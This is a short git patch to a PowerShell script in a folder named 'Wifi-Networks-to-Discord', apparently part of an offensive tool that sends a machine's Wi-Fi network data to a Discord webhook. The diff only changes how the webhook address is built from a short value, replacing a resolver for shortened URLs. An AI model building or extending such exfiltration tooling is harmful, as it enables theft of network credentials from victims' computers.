From 3cad5f63e46fc0a8bc829b33baa48163489ea028 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Thu, 19 Jun 2025 16:57:51 +0000 Subject: [PATCH] Update main.ps1 --- Wifi-Networks-to-Discord/main.ps1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Wifi-Networks-to-Discord/main.ps1 b/Wifi-Networks-to-Discord/main.ps1 index 215e554..330f7b2 100644 --- a/Wifi-Networks-to-Discord/main.ps1 +++ b/Wifi-Networks-to-Discord/main.ps1 @@ -1,6 +1,7 @@ $whuri = "$dc" -# shortened URL Detection -if ($whuri.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $whuri = (irm $whuri).url} +if ($whuri.Length -lt 120){ + $whuri = ("https://discord.com/api/webhooks/" + "$dc") +} $outfile="" $a=0